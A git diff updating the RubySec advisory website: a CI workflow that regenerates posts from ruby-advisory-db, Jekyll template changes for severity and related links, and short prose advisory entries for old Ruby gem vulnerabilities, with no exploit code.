diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml
new file mode 100644
index 00000000..261abaae
--- /dev/null
+++ b/.github/FUNDING.yml
@@ -0,0 +1,3 @@
+github:
+  - reedloden
+  - postmodern
diff --git a/.github/workflows/advisories.yml b/.github/workflows/advisories.yml
new file mode 100644
index 00000000..f7c90125
--- /dev/null
+++ b/.github/workflows/advisories.yml
@@ -0,0 +1,38 @@
+name: Update advisories
+
+on:
+  repository_dispatch:
+    types: [ changed ]
+
+jobs:
+  update-advisories:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v2
+      - name: Checkout ruby-advisory-db
+        uses: actions/checkout@v2
+        with:
+          repository: rubysec/ruby-advisory-db
+          path: _advisories
+      - name: Set up Ruby
+        uses: ruby/setup-ruby@v1
+        with:
+          ruby-version: ruby
+      - name: Install dependencies
+        run: bundle install --jobs 4 --retry 3
+      - name: Generate advisories
+        run: bundle exec rake advisories:generate
+      - name: Get latest advisory commit
+        id: git-commit
+        working-directory: _advisories
+        run: |
+          echo "::set-output name=author::$(git show -s --format='%an <%ae>')"
+          echo "::set-output name=hash::$(git rev-parse --short HEAD)"
+      - name: Commit any updates
+        uses: stefanzweifel/git-auto-commit-action@v4
+        with:
+          commit_message: "Updated advisory posts against rubysec/ruby-advisory-db@${{ steps.git-commit.outputs.hash }}"
+          file_pattern: advisories/_posts/*.md
+          commit_user_name: RubySec CI
+          commit_user_email: ci@rubysec.com
+          commit_author: ${{ steps.git-commit.outputs.author }}
diff --git a/404.md b/404.html
similarity index 100%
rename from 404.md
rename to 404.html
diff --git a/Gemfile b/Gemfile
index bd2fd82f..ed7bb3f0 100644
--- a/Gemfile
+++ b/Gemfile
@@ -3,6 +3,4 @@ source 'https://rubygems.org'
 gem 'github-pages'
 gem 'rake'
 
-group :jekyll_plugins do
-  gem 'octopress-filters'
-end
+gem "webrick", "~> 1.7"
diff --git a/Rakefile b/Rakefile
index ec0a691e..a1f8f6f4 100644
--- a/Rakefile
+++ b/Rakefile
@@ -1,26 +1,25 @@
+require 'date'
 require 'yaml'
 
 namespace :advisories do
   file '_advisories' do
-    if ENV['CI']
-      File.symlink('..', '_advisories')
-    else
-      system 'git clone --depth 1 https://github.com/rubysec/ruby-advisory-db _advisories'
-    end
+    system 'git clone --depth 1 https://github.com/rubysec/ruby-advisory-db _advisories'
   end
 
   desc 'Updates the advisory db'
   task :update => '_advisories' do
-    Dir.chdir('_advisories') { sh 'git pull' } unless ENV['CI']
+    Dir.chdir('_advisories') { sh 'git pull --ff-only' } unless ENV['CI']
   end
 
   desc 'Regenerate the advisory posts'
   task :generate => :update do
     Rake::FileList['_advisories/gems/*/*.yml'].each do |advisory_path|
-      advisory = YAML.load_file(advisory_path)
+      advisory = YAML.safe_load_file(advisory_path, permitted_classes: [Date])
 
       id   = if advisory['cve'] then "CVE-#{advisory['cve']}"
-             else                    "OSVDB-#{advisory['osvdb']}"
+             elsif advisory['ghsa'] then "GHSA-#{advisory['ghsa']}"
+             elsif advisory['osvdb'] then "OSVDB-#{advisory['osvdb']}"
+             else File.basename(advisory_path, ".*")
              end
       slug = "#{advisory['date']}-#{id}"
       post = File.join('advisories', '_posts', "#{slug}.md")
@@ -30,7 +29,7 @@ namespace :advisories do
           'layout'     => 'advisory',
           'title'      => "#{id} (#{advisory['gem']}): #{advisory['title']}",
           'comments'   => false,
-          'categories' => [advisory['gem'], advisory['framework']].compact,
+          'categories' => [advisory['gem'], advisory['library'], advisory['framework'], advisory['platform']].compact,
           'advisory'   => advisory
         }
 
diff --git a/_config.yml b/_config.yml
index ae33c8b0..3a3eb9cf 100644
--- a/_config.yml
+++ b/_config.yml
@@ -1,4 +1,4 @@
-url: http://rubysec.com
+url: https://rubysec.com
 title: RubySec
 subtitle: Providing security resources for the Ruby community
 author: RubySec
@@ -6,19 +6,22 @@ simple_search: https://www.google.com/search
 description: Advisory database of security vulnerabilities found in Ruby projects
 
 exclude:
-  - _advisories
-  - Gemfile
-  - Gemfile.lock
-  - Rakefile
-  - README.md
-  - vendor
-
-gems:
-  - octopress-filters
+  [
+    .bundle,
+    .github,
+    _advisories,
+    CNAME,
+    Gemfile,
+    Rakefile,
+    README.md,
+    vendor,
+  ]
+
+plugins:
   - jekyll-paginate
+  - jekyll-sitemap
 
 subscribe_rss: /atom.xml
-email: rubysec-announce@googlegroups.com
 
 permalink: /advisories/:title/
 category_dir: advisories/categories
@@ -28,9 +31,11 @@ pagination_dir: advisories      # Directory base for pagination URLs eg. /blog/p
 recent_posts: 5                 # Posts in the sidebar Recent Posts section
 excerpt_link: "Read on &rarr;"  # "Continue reading" link text at the bottom of excerpted articles
 
-titlecase: true       # Converts page and post titles to titlecase
+titlecase: false       # Converts page and post titles to titlecase
 
 twitter_user: rubysec
 twitter_tweet_button: true
 
-github_repo: rubysec/rubysec.github.io
+github_repo: rubysec/ruby-advisory-db
+
+google_analytics: G-P90QEESFMF
diff --git a/_includes/after_footer.html b/_includes/after_footer.html
index af3d0cad..8d8a0434 100644
--- a/_includes/after_footer.html
+++ b/_includes/after_footer.html
@@ -1,3 +1,2 @@
-<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
+<script src="https://code.jquery.com/jquery-1.12.4.min.js"></script>
 <script src="{{ root_url }}/assets/bootstrap/js/bootstrap.min.js"></script>
-<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script>
diff --git a/_includes/archive_post.html b/_includes/archive_post.html
index 3bbf3e6f..ace2dc0c 100644
--- a/_includes/archive_post.html
+++ b/_includes/archive_post.html
@@ -1,10 +1,9 @@
 <td class="day">
-  <h3><small><time datetime="{{ post.date | datetime | date_to_xmlschema }}" pubdate>{{ post.date | date: "<span class='month'>%b</span> <span class='day'>%d</span>"}}</time></small></h3>
+  <h3><small><time datetime="{{ post.date | datetime | date_to_xmlschema }}">{{ post.date | date: "<span class='month'>%b</span> <span class='day'>%d</span>"}}</time></small></h3>
 </td>
 <td>
-  {% capture category %}{{ post.categories | size }}{% endcapture %}
   <h3><a href="{{ root_url }}{{ post.url }}">{{post.title}}</a></h3>
-  {% if category != '0' %}
-  <h3><small>posted in {{ post.categories | category_links }}</small></h3>
+  {% if post.categories != empty or post.tags != empty %}
+  <h3><small>posted in {% include category_links.html categories=post.categories tags=post.tags %}</small></h3>
   {% endif %}
 </td>
diff --git a/_includes/category_links.html b/_includes/category_links.html
new file mode 100644
index 00000000..28cdcbf6
--- /dev/null
+++ b/_includes/category_links.html
@@ -0,0 +1,21 @@
+{% if include.categories != empty %} •
+  {% for category in include.categories %}
+    {% assign no_comma = forloop.last %}
+    {% for archive in site.archives %}
+      {% if archive.type == "category" and archive.title == category %}
+        <a href="{{ archive.url | relative_url }}">{{ archive.title | escape }}</a>{% unless no_comma %},{% endunless %}
+      {% endif %}
+    {% endfor %}
+  {% endfor %}
+{% endif %}
+
+{% if include.tags != empty %} •
+  {% for tag in include.tags %}
+    {% assign no_comma = forloop.last %}
+    {% for archive in site.archives %}
+      {% if archive.type == "tag" and archive.title == tag %}
+        <a href="{{ archive.url | relative_url }}">{{ archive.title | escape }}</a>{% unless no_comma %},{% endunless %}
+      {% endif %}
+    {% endfor %}
+  {% endfor %}
+{% endif %}
diff --git a/_includes/footer.html b/_includes/footer.html
index 4cfe1b7a..a2cbfa8b 100644
--- a/_includes/footer.html
+++ b/_includes/footer.html
@@ -1,3 +1,6 @@
-<p>
-  Copyright &copy; {{ site.time | date: "%Y" }} - {{ site.author }}
-</p>
+<section class="footer">
+  <div class="disclaimer">
+    <p>Copyright &copy; {{ site.time | date: "%Y" }} - {{ site.author }}</p>
+    <p class="acknowledgement">This domain was graciously donated by Jordi Massaguer.</p>
+  </div>
+</section>
diff --git a/_includes/head.html b/_includes/head.html
index bf6d2eda..2de27189 100644
--- a/_includes/head.html
+++ b/_includes/head.html
@@ -1,7 +1,5 @@
 <!DOCTYPE html>
-<!--[if IEMobile 7 ]><html class="no-js iem7"><![endif]-->
-<!--[if lt IE 9]><html class="no-js lte-ie8"><![endif]-->
-<!--[if (gt IE 8)|(gt IEMobile 7)|!(IEMobile)|!(IE)]><!--><html class="no-js" lang="en"><!--<![endif]-->
+<html lang="en">
 <head>
   <meta charset="utf-8">
   <title>{% if page.title %}{{ page.title }} - {% endif %}{{ site.title }}</title>
@@ -11,19 +9,30 @@
   <meta name="description" content="{{ description | strip_html | condense_spaces | truncate:150 }}">
   {% if page.keywords %}<meta name="keywords" content="{{ page.keywords }}">{% endif %}
 
-  <!-- http://t.co/dKP3o1e -->
   <meta name="HandheldFriendly" content="True">
   <meta name="MobileOptimized" content="320">
   <meta name="viewport" content="width=device-width, initial-scale=1">
 
   {% capture canonical %}{{ site.url }}{% if site.permalink contains '.html' %}{{ page.url }}{% else %}{{ page.url | remove:'index.html' | strip_slash }}{% endif %}{% endcapture %}
   <link rel="canonical" href="{{ canonical }}">
-  <link href="{{ root_url }}/favicon.ico" rel="icon">
+  <link href="{{ root_url }}/favicon.ico" rel="icon" sizes="any">
+  <link href="{{ root_url }}/apple-touch-icon.png" rel="apple-touch-icon">
+  <link href="{{ root_url }}/site.webmanifest" rel="manifest">
   
   <link href="{{ root_url }}/assets/bootstrap/css/spacelab.min.css" rel="stylesheet" type="text/css">
   <link href="{{ root_url }}/assets/bootstrap/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css">
   <link href="{{ root_url }}/assets/bootstrap/css/custom.css" rel="stylesheet" type="text/css">
   <link href="{{ root_url }}/assets/font-awesome/css/font-awesome.css" rel="stylesheet" type="text/css">
   
-  <link href="{{ site.subscribe_rss }}" rel="alternate" title="{{site.title}}" type="application/atom+xml">
+  <link href="{{ site.subscribe_rss }}" rel="alternate" title="{{ site.title }}" type="application/atom+xml">
+
+  <!-- Global site tag (gtag.js) - Google Analytics -->
+  <script async src="https://www.googletagmanager.com/gtag/js?id={{ site.google_analytics }}"></script>
+  <script>
+    window.dataLayer = window.dataLayer || [];
+    function gtag(){dataLayer.push(arguments);}
+    gtag('js', new Date());
+
+    gtag('config', '{{ site.google_analytics }}');
+  </script>
 </head>
diff --git a/_includes/header.html b/_includes/header.html
index 339c5681..c46c5e94 100644
--- a/_includes/header.html
+++ b/_includes/header.html
@@ -1,23 +1,30 @@
-<div class="subscribe">
-  <table>
-    <tr>
-      <td><span>Get Updates: &nbsp;</span></td>
-      {% if site.subscribe_rss %}
-      <td><a href="{{site.subscribe_rss}}" class="btn"><i class="icon-cog"></i> By ATOM</a></td>
-      {% endif %}
-      <td>&nbsp;</td>
-      {% if site.twitter_user %}
-      <td><a href="https://twitter.com/{{site.twitter_user}}" class="btn"><i class="icon-twitter-sign"></i> On Twitter</a></td>
-      {% endif %}
-      <td>&nbsp;</td>
-      {% if site.github_repo %}
-      <td><a href="https://github.com/{{site.github_repo}}" class="btn"><i class="icon-github-sign"></i> On GitHub</a></td>
-      {% endif %}
-    </tr>
-  </table>
-</div>
+<section class="header">
+  <div class="subscribe">
+    <table>
+      <tr>
+        <td><span>Get Updates: &nbsp;</span></td>
+        {% if site.subscribe_rss %}
+        <td><a href="{{ site.subscribe_rss}}" class="btn"><i class="icon-cog"></i> Via Atom</a></td>
+        {% endif %}
+        <td>&nbsp;</td>
+        {% if site.twitter_user %}
+        <td><a href="https://twitter.com/{{ site.twitter_user }}" class="btn"><i class="icon-twitter-sign"></i> On Twitter</a></td>
+        {% endif %}
+        <td>&nbsp;</td>
+        {% if site.github_repo %}
+        <td><a href="https://github.com/{{ site.github_repo }}" class="btn"><i class="icon-github-sign"></i> On GitHub</a></td>
+        {% endif %}
+      </tr>
+    </table>
+  </div>
 
-<h1 class="title">{{ site.title }}</h1>
-{% if site.subtitle %}
-  <p class="lead">{{ site.subtitle }}</p>
-{% endif %}
+  <div>
+    <h1 class="title">
+      <a href="/"><img src="{{ site.url }}/images/rubysec-logo.png" width="80" height="80"></a>
+      {{ site.title }}
+    </h1>
+    {% if site.subtitle %}
+      <p class="lead">{{ site.subtitle }}</p>
+    {% endif %}
+  </div>
+</section>
diff --git a/_includes/navigation.html b/_includes/navigation.html
index f48e8e89..98c9f2ad 100644
--- a/_includes/navigation.html
+++ b/_includes/navigation.html
@@ -15,7 +15,7 @@
           <form action="{{ site.simple_search }}" method="get" class="navbar-search pull-left">
             <fieldset role="search">
               <input type="hidden" name="q" value="site:{{ site.url | strip_url_protocol }}" />
-              <input type="text" name="q" results="0" placeholder="Search" class="search-query span2" />
+              <input type="text" name="q" placeholder="Search" class="search-query span2" />
             </fieldset>
           </form>
         {% endif %}
diff --git a/_includes/post/categories.html b/_includes/post/categories.html
index 4a98b29d..80becd66 100644
--- a/_includes/post/categories.html
+++ b/_includes/post/categories.html
@@ -1,10 +1,9 @@
-{% capture category %}{% if post %}{{ post.categories | category_links | size }}{% else %}{{ page.categories | category_links | size }}{% endif %}{% endcapture %}
-{% unless category == '0' %}
+{% if post.categories != empty or post.tags != empty or page.categories != empty or page.tags != empty %}
 <span class="categories">
   {% if post %}
-    {{ post.categories | category_links }}
+    {% include category_links.html categories=post.categories tags=post.tags %}
   {% else %}
-    {{ page.categories | category_links }}
+    {% include category_links.html categories=page.categories tags=page.tags %}
   {% endif %}
 </span>
-{% endunless %}
+{% endif %}
diff --git a/_includes/post/date.html b/_includes/post/date.html
index 19551f47..d8f67d46 100644
--- a/_includes/post/date.html
+++ b/_includes/post/date.html
@@ -13,11 +13,11 @@
 {% capture was_updated %}{{ updated | size }}{% endcapture %}
 
 {% if has_date != '0' %}
-  {% capture time %}<time datetime="{{ date | datetime | date_to_xmlschema }}" pubdate{% if updated %} data-updated="true"{% endif %}>{{ date_formatted }}</time>{% endcapture %}
+  {% capture time %}<time datetime="{{ date | datetime | date_to_xmlschema }}"{% if updated %} data-updated="true"{% endif %}>{{ date_formatted }}</time>{% endcapture %}
 {% endif %}
 
 {% if was_updated != '0' %}
   {% capture updated %}<time datetime="{{ updated | datetime | date_to_xmlschema }}" class="updated">Updated {{ updated_formatted }}</time>{% endcapture %}
 {% else %}{% assign updated = false %}{% endif %}
 
-{{ post.date_formatted }}
\ No newline at end of file
+{{ post.date_formatted }}
diff --git a/_includes/post/sharing.html b/_includes/post/sharing.html
index f37d41f2..1e6ddfb3 100644
--- a/_includes/post/sharing.html
+++ b/_includes/post/sharing.html
@@ -1,4 +1,21 @@
+{% if post.title %}
+  {% assign title = post.title %}
+{% elsif page.title %}
+  {% assign title = page.title %}
+{% else %}
+  {% assign title = site.title %}
+{% endif %}
+{% if post.url %}
+  {% assign url = post.url %}
+{% elsif page.url %}
+  {% assign url = page.url %}
+{% else %}
+  {% assign url = site.url %}
+{% endif %}
 <div class="sharing">
   <br/>
-  <a href="https://twitter.com/share" class="twitter-share-button" data-via="rubysec" data-dnt="true">Tweet</a>
+  <a rel="noopener noreferrer" href="https://twitter.com/intent/tweet/?text={{ title | uri_escape }}&amp;url={{ url | absolute_url }}&quest;utm_source=advisory" target="_blank"><span aria-label="Twitter icon" role="img" class="icon-twitter-sign"></span></a>
+  <a rel="noopener noreferrer" href="https://facebook.com/sharer/sharer.php?u={{ url | absolute_url }}&quest;utm_source=advisory" target="_blank"><span aria-label="Facebook icon" role="img" class="icon-facebook-sign"></span></a>
+  <a rel="noopener noreferrer" href="https://www.linkedin.com/shareArticle?mini=true&amp;url={{ url | absolute_url }}&quest;utm_source=advisory&amp;title={{ title | uri_escape }}&amp;source={{ site.url | absolute_url }}" target="_blank"><span aria-label="Linkedin icon" role="img" class="icon-linkedin-sign"></span></a>
+  <a rel="noopener noreferrer" href="mailto:?subject={{ site.title | uri_escape }}&amp;body={{ title | uri_escape }}%20{{ url | absolute_url }}&quest;utm_source=advisory" target="_blank"><span aria-label="Email icon" role="img" class="icon-envelope"></span></a>
 </div>
diff --git a/_includes/sidebar.html b/_includes/sidebar.html
index 20139cd9..32fd7c6d 100644
--- a/_includes/sidebar.html
+++ b/_includes/sidebar.html
@@ -1,7 +1,7 @@
 {% unless page.sidebar == false %}
   <div class="span4 sidebar">
     <div class="well">
-      Contact us <a href="https://twitter.com/rubysec">@rubysec</a>, info at rubysec.com, or chat in #rubysec on freenode.
+      Contact us <a href="https://twitter.com/rubysec">@rubysec</a> or <a href="https://github.com/rubysec/ruby-advisory-db">open an issue on our GitHub repository</a>.
     </div>
     <div class="well">
       <section>
diff --git a/_layouts/advisory.html b/_layouts/advisory.html
index 5acd320a..0b9f6508 100644
--- a/_layouts/advisory.html
+++ b/_layouts/advisory.html
@@ -7,7 +7,14 @@ <h3>ADVISORIES</h3>
 <ul>
 {% if page.advisory.cve %}
 <li>
-  <a href="https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-{{ page.advisory.cve }}">CVE-{{ page.advisory.cve }}</a>
+  <a href="https://www.cve.org/CVERecord?id=CVE-{{ page.advisory.cve }}">CVE-{{ page.advisory.cve }}</a>
+  (<a href="https://nvd.nist.gov/vuln/detail/CVE-{{ page.advisory.cve }}">NVD</a>)
+</li>
+{% endif %}
+
+{% if page.advisory.ghsa %}
+<li>
+  <a href="https://github.com/advisories/GHSA-{{ page.advisory.ghsa }}">GHSA-{{ page.advisory.ghsa }}</a>
 </li>
 {% endif %}
 
@@ -17,8 +24,9 @@ <h3>ADVISORIES</h3>
 </li>
 {% endif %}
 
-{% unless page.advisory.url contains 'osvdb.org' or page.advisory.url contains 'web.nvd.nist.gov'
-   or page.advisory.url contains 'cve.mitre.org' %}
+{% unless page.advisory.url contains 'osvdb.org' or page.advisory.url contains 'nvd.nist.gov'
+   or page.advisory.url contains 'cve.mitre.org' or page.advisory.url contains 'cve.org'
+   or page.advisory.url contains 'github.com/advisories' %}
 <li>
   <a href="{{ page.advisory.url }}">Vendor Advisory</a>
 </li>
@@ -31,10 +39,85 @@ <h3>GEM</h3>
 <a href="https://rubygems.org/gems/{{ page.advisory.gem }}">{{ page.advisory.gem }}</a>
 </p>
 
+{% if page.advisory.library %}
+<h3>LIBRARY</h3>
+
+<p>
+{% if page.advisory.library == "rubygems" %}
+  <a href="https://rubygems.org/">RubyGems</a>
+{% else %}
+  {{ page.advisory.library }}
+{% endif %}
+</p>
+{% endif %}
+
 {% if page.advisory.framework %}
 <h3>FRAMEWORK</h3>
 
-<p>{{ page.advisory.framework }}</p>
+<p>
+{% if page.advisory.framework == "rails" %}
+  <a href="https://rubyonrails.org/">Ruby on Rails</a>
+{% else %}
+  {{ page.advisory.framework }}
+{% endif %}
+</p>
+{% endif %}
+
+{% if page.advisory.platform %}
+<h3>PLATFORM</h3>
+
+<p>
+{% if page.advisory.platform == "goruby" %}
+  <a href="https://goruby.github.io/">GoRuby</a>
+{% elsif page.advisory.platform == "ironruby" %}
+  <a href="http://ironruby.net/">IronRuby</a>
+{% elsif page.advisory.platform == "jruby" %}
+  <a href="https://www.jruby.org/">JRuby</a>
+{% elsif page.advisory.platform == "macruby" %}
+  <a href="http://macruby.org/">MacRuby</a>
+{% elsif page.advisory.platform == "maglev" %}
+  <a href="https://maglev.github.io/">MagLev</a>
+{% elsif page.advisory.platform == "rbx" or page.advisory.platform == "rubinius" %}
+  <a href="https://github.com/rubinius/rubinius">Rubinius</a>
+{% elsif page.advisory.platform == "ree" %}
+  <a href="http://www.rubyenterpriseedition.com/">Ruby Enterprise Edition</a>
+{% else %}
+  {{ page.advisory.platform }}
+{% endif %}
+</p>
+{% endif %}
+
+{% if page.advisory.cvss_v2 or page.advisory.cvss_v3 %}
+<h3>SEVERITY</h3>
+
+{% if page.advisory.cvss_v3 %}
+{% assign cvss_v3 = page.advisory.cvss_v3 %}
+<p><a href="https://www.first.org/cvss/">CVSS v3.x</a>: {{ cvss_v3 }} (
+  {%- if cvss_v3 == 0.0 -%}
+    None
+  {%- elsif cvss_v3 >= 0.1 and cvss_v3 <= 3.9 -%}
+    Low
+  {%- elsif cvss_v3 >= 4.0 and cvss_v3 <= 6.9 -%}
+    <span style="color: #FFB507;">Medium</span>
+  {%- elsif cvss_v3 >= 7.0 and cvss_v3 <= 8.9 -%}
+    <span style="color: #FF6900;"><strong>High</strong></span>
+  {%- elsif cvss_v3 >= 9.0 and cvss_v3 <= 10.0 -%}
+    <span style="color: #D5011B;"><strong>Critical</strong></span>
+  {%- endif -%}
+)</p>
+{% endif %}
+{% if page.advisory.cvss_v2 %}
+{% assign cvss_v2 = page.advisory.cvss_v2 %}
+<p><a href="https://www.first.org/cvss/v2/">CVSS v2.0</a>: {{ cvss_v2 }} (
+  {%- if cvss_v2 >= 0.0 and cvss_v2 <= 3.9 -%}
+    Low
+  {%- elsif cvss_v2 >= 4.0 and cvss_v2 <= 6.9 -%}
+    <span style="color: #FFB507;">Medium</span>
+  {%- elsif cvss_v2 >= 7.0 and cvss_v2 <= 10.0 -%}
+    <span style="color: #D5011B;"><strong>High</strong></span>
+  {%- endif -%}
+)</p>
+{% endif %}
 {% endif %}
 
 {% if page.advisory.unaffected_versions %}
@@ -42,7 +125,7 @@ <h3>UNAFFECTED VERSIONS</h3>
 
 <ul>
   {% for version in page.advisory.unaffected_versions %}
-  <li><kbd>{{ version }}</kbd></li>
+  <li><kbd>{{ version | escape }}</kbd></li>
   {% endfor %}
 </ul>
 {% endif %}
@@ -52,7 +135,7 @@ <h3>PATCHED VERSIONS</h3>
 {% if page.advisory.patched_versions %}
 <ul>
   {% for version in page.advisory.patched_versions %}
-  <li><kbd>{{ version }}</kbd></li>
+  <li><kbd>{{ version | escape }}</kbd></li>
   {% endfor %}
 </ul>
 {% else %}
@@ -61,4 +144,40 @@ <h3>PATCHED VERSIONS</h3>
 
 <h3>DESCRIPTION</h3>
 
-<p>{{ page.advisory.description | markdownify }}</p>
+{{ page.advisory.description | xml_escape | markdownify }}
+
+{% if page.advisory.related %}
+<h3>RELATED</h3>
+
+<ul>
+{% if page.advisory.related.cve %}
+  {% for cve in page.advisory.related.cve %}
+    <li>
+      <a href="https://www.cve.org/CVERecord?id=CVE-{{ cve }}">CVE-{{ cve }}</a>
+      (<a href="https://nvd.nist.gov/vuln/detail/CVE-{{ cve }}">NVD</a>)
+    </li>
+  {% endfor %}
+{% endif %}
+{% if page.advisory.related.ghsa %}
+  {% for ghsa in page.advisory.related.ghsa %}
+    <li>
+      <a href="https://github.com/advisories/GHSA-{{ ghsa }}">GHSA-{{ ghsa }}</a>
+    </li>
+  {% endfor %}
+{% endif %}
+{% if page.advisory.related.osvdb %}
+  {% for osvdb in page.advisory.related.osvdb %}
+    <li>
+      OSVDB-{{ osvdb }}
+    </li>
+  {% endfor %}
+{% endif %}
+{% if page.advisory.related.url %}
+  {% for url in page.advisory.related.url %}
+    <li>
+      <a href="{{ url }}">{{ url }}</a>
+    </li>
+  {% endfor %}
+{% endif %}
+</ul>
+{% endif %}
diff --git a/_layouts/post.html b/_layouts/post.html
index c9b495e9..79dbcd0c 100644
--- a/_layouts/post.html
+++ b/_layouts/post.html
@@ -34,4 +34,3 @@
     {% include sidebar.html %}
   {% endif %}
 </div>
-
diff --git a/advisories/_posts/2006-05-14-CVE-2006-2581.md b/advisories/_posts/2006-05-14-CVE-2006-2581.md
new file mode 100644
index 00000000..1348a39c
--- /dev/null
+++ b/advisories/_posts/2006-05-14-CVE-2006-2581.md
@@ -0,0 +1,46 @@
+---
+layout: advisory
+title: 'CVE-2006-2581 (rwiki): RWiki before 2.1.1 has cross-site scripting vulnerability'
+comments: false
+categories:
+- rwiki
+advisory:
+  gem: rwiki
+  cve: 2006-2581
+  ghsa: gvhx-gj42-m28v
+  url: https://web.archive.org/web/20090501134922/http://www2a.biglobe.ne.jp/~seki/ruby/rwiki.html
+  title: RWiki before 2.1.1 has cross-site scripting vulnerability
+  date: 2006-05-14
+  description: |
+    Cross-site scripting (XSS) vulnerability in Wiki content in
+    RWiki 2.1.0pre1 through 2.1.0 allows remote attackers to inject
+    arbitrary web script or HTML via unknown attack vectors.
+  cvss_v2: 4.3
+  unaffected_versions:
+  - "< 2.1.0pre1"
+  patched_versions:
+  - ">= 2.1.1"
+  related:
+    cve:
+    - 2006-2582
+    ghsa:
+    - wwmf-6p58-6vj2
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2006-2581
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/26664
+    - https://github.com/advisories/GHSA-wwmf-6p58-6vj2
+    - https://github.com/advisories/GHSA-gvhx-gj42-m28v
+    - https://rubygems.org/gems/rwiki
+    - https://web.archive.org/web/20090501134922/http://www2a.biglobe.ne.jp/~seki/ruby/rwiki.html
+    - https://web.archive.org/web/20090504061152/http://pub.cozmixng.org/~the-rwiki/rw-cgi.rb?cmd=view;name=top
+    - https://web.archive.org/web/20081201080215/http://secunia.com/advisories/20264
+    - https://web.archive.org/web/20090524010623/http://www.vupen.com/english/advisories/2006/1949
+  notes: |
+    - Best references are in Japanese.
+    - Source code link on rubygems.org goes to
+      lucassus/rwiki (last version 0.2.5, not 2.1.1).
+    - Found two other repos:
+      - https://github.com/rwiki/rwiki
+      - https://github.com/ytakhs/rwiki
+    - CWE: [NVD-CWE-Other] MODERATE
+---
diff --git a/advisories/_posts/2006-05-14-CVE-2006-2582.md b/advisories/_posts/2006-05-14-CVE-2006-2582.md
new file mode 100644
index 00000000..9b39c62f
--- /dev/null
+++ b/advisories/_posts/2006-05-14-CVE-2006-2582.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2006-2582 (rwiki): High severity vulnerability that affects rwiki'
+comments: false
+categories:
+- rwiki
+advisory:
+  gem: rwiki
+  cve: 2006-2582
+  ghsa: wwmf-6p58-6vj2
+  url: https://web.archive.org/web/20090501134922/http://www2a.biglobe.ne.jp/~seki/ruby/rwiki.html
+  title: High severity vulnerability that affects rwiki
+  date: 2006-05-14
+  description: |
+    The editing form in RWiki 2.1.0pre1 through 2.1.0 allows remote
+    attackers to execute arbitrary Ruby code via unknown attack vectors.
+  cvss_v2: 7.5
+  unaffected_versions:
+  - "< 2.1.0pre1"
+  patched_versions:
+  - ">= 2.1.1"
+  related:
+    cve:
+    - 2006-2581
+    ghsa:
+    - gvhx-gj42-m28v
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2006-2582
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/26664
+    - https://github.com/advisories/GHSA-wwmf-6p58-6vj2
+    - https://github.com/advisories/GHSA-gvhx-gj42-m28v
+    - https://rubygems.org/gems/rwiki
+    - https://web.archive.org/web/20090501134922/http://www2a.biglobe.ne.jp/~seki/ruby/rwiki.html
+    - https://web.archive.org/web/20090504061152/http://pub.cozmixng.org/~the-rwiki/rw-cgi.rb?cmd=view;name=top
+    - https://web.archive.org/web/20081201080215/http://secunia.com/advisories/20264
+    - https://web.archive.org/web/20090524010623/http://www.vupen.com/english/advisories/2006/1949
+  notes: |
+    - Best references are in Japanese.
+    - Source code link on rubygems.org goes to
+      lucassus/rwiki (last version 0.2.5, not 2.1.1).
+    - Found two other repos:
+      - https://github.com/rwiki/rwiki
+      - https://github.com/ytakhs/rwiki
+    - CWE: [NVD-CWE-Other] MODERATE
+---
diff --git a/advisories/_posts/2007-01-22-CVE-2007-0469.md b/advisories/_posts/2007-01-22-CVE-2007-0469.md
new file mode 100644
index 00000000..1dd3975d
--- /dev/null
+++ b/advisories/_posts/2007-01-22-CVE-2007-0469.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2007-0469 (rubygems-update): CVE-2007-0469 RubyGems: Specially-crafted
+  Gem archive can overwrite system files'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2007-0469
+  osvdb: 33561
+  ghsa: 95vx-q4c2-64gr
+  url: https://nvd.nist.gov/vuln/detail/CVE-2007-0469
+  title: 'CVE-2007-0469 RubyGems: Specially-crafted Gem archive can overwrite system
+    files'
+  date: 2007-01-22
+  description: |
+    The extract_files function in installer.rb in RubyGems before 0.9.1 does
+    not check whether files exist before overwriting them, which allows user-assisted
+    remote attackers to overwrite arbitrary files, cause a denial of service, or execute
+    arbitrary code via crafted GEM packages.
+  cvss_v2: 9.3
+  patched_versions:
+  - ">= 0.9.1"
+---
diff --git a/advisories/_posts/2007-05-21-OSVDB-101157.md b/advisories/_posts/2007-05-21-OSVDB-101157.md
index 7c9d7484..df4b2e1f 100644
--- a/advisories/_posts/2007-05-21-OSVDB-101157.md
+++ b/advisories/_posts/2007-05-21-OSVDB-101157.md
@@ -7,7 +7,7 @@ categories:
 advisory:
   gem: json
   osvdb: 101157
-  url: http://osvdb.org/show/osvdb/101157
+  url: https://security.snyk.io/vuln/SNYK-RUBY-JSON-20000
   title: json Gem for Ruby Data Handling Stack Buffer Overflow
   date: 2007-05-21
   description: |
@@ -18,4 +18,8 @@ advisory:
     execution of arbitrary code.
   patched_versions:
   - ">= 1.1.0"
+  related:
+    url:
+    - https://security.snyk.io/vuln/SNYK-RUBY-JSON-20000
+    - http://osvdb.org/show/osvdb/101157
 ---
diff --git a/advisories/_posts/2007-06-15-OSVDB-95668.md b/advisories/_posts/2007-06-15-OSVDB-95668.md
index 9a3b63b7..8b889e36 100644
--- a/advisories/_posts/2007-06-15-OSVDB-95668.md
+++ b/advisories/_posts/2007-06-15-OSVDB-95668.md
@@ -8,7 +8,7 @@ categories:
 advisory:
   gem: builder
   osvdb: 95668
-  url: http://osvdb.org/show/osvdb/95668
+  url: https://my.diffend.io/gems/builder/2.1.1/2.1.2
   title: Builder Gem for Ruby Tag Name Handling Private Method Exposure
